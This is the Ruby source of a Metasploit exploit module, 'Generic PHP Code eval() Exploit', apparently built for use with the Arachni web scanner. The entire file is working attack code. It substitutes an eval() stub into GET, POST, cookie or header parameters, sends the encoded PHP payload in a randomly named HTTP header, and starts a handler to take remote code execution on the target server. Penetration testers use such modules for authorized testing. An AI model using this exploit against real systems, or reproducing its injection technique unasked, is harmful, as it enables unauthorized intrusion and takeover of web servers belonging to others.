require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Generic PHP Code eval() Exploit', 'Description' => %q{ This module allows complex HTTP requests to be crafted in order to allow exploitation of PHP eval() vulnerabilities in Unix-like platforms. Use 'XXinjectionXX' to mark the value of the vulnerable variable/field, i.e. where the payload should go. Supported vectors: GET, POST, COOKIE, HEADER. (Mainly for use with the Arachni plug-in.) }, 'Author' => [ 'Tasos "Zapotek" Laskos ', # extended it to work with GET/POST/COOKIE/HEADER 'egypt' # original exploit: exploits/unix/webapp/php_eval.rb ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9392 $', 'References' => [ ['URL', 'http://github.com/Arachni/arachni'], ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # max header length for Apache, # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize 'Space' => 8190, # max url length for some old versions of apache according to # http://www.boutell.com/newfaq/misc/urllength.html #'Space' => 4000, 'DisableNops' => true, 'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install 'Compat' => { 'ConnectionType' => 'find', }, 'Keys' => ['php'], }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar::vuln=XXinjectionXX', XXinjectionXX will be substituted with the payload.)", "" ] ), OptString.new( 'PATH', [ true, "The path to the vulnerable script.", "/cgi-bin/generic" ] ), ], self.class ) end def check uri = datastore['PATH'] ? datastore['PATH'].dup : "" if( uri && ! uri.empty? ) uri.gsub!( /\?.*/, "" ) print_status( "Checking uri #{uri}" ) response = send_request_raw({ 'uri' => uri}) if response.code == 200 return Exploit::CheckCode::Detected end print_error( "Server responded with #{response.code}" ) return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def exploit headername = "X-" + Rex::Text.rand_text_alpha_upper( rand( 10 ) + 10 ) cookies = _sub_injection( datastore['COOKIES'].to_s, headername, ';' ) headers = _str_to_hash( _sub_injection( datastore['HEADERS'].to_s, headername, '::' ), '::' ) post = _str_to_hash( _sub_injection( datastore['POST'].to_s, headername ) ) get = _str_to_hash( _sub_injection( datastore['GET'].to_s, headername ) ) uri = datastore['PATH'].to_s method = post.empty? ? 'GET' : 'POST' if( post.empty? && get.empty? && headers.empty? && cookies.empty? ) print_error( 'At least one of GET/POST/COOKIES/HEADERS must be set.' ) # return end headers[headername] = payload.encoded headers['Connection'] = 'close' print_status( "Sending HTTP request for #{uri}" ) res = send_request_cgi( { 'global' => true, 'uri' => uri, 'method' => method, 'vars_get' => get, 'vars_post' => post, 'headers' => headers, 'cookie' => cookies }, 0.01 ) handler end # # Converts a URI styled query string into a key=>value hash # def _str_to_hash( str, sep = '&' ) hash = {} str.split( sep ).map do |part| splits = part.split( '=', 2 ) next if !splits[0] || !splits[1] hash[splits[0]] = splits[1] end return hash end # # Substitutes 'XXinjectionXX' in values of a URI styled query string with the # payload # def _sub_injection( str, headername, sep = '&' ) stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);" stub = URI.encode( stub, ';' ) if sep != '&' return str.to_s.split( sep ).map do |var| k,v = var.split( '=', 2 ) next if !v || !k k + "=" + v.gsub( 'XXinjectionXX', stub ) end.reject do |i| !i end.join( sep ) end end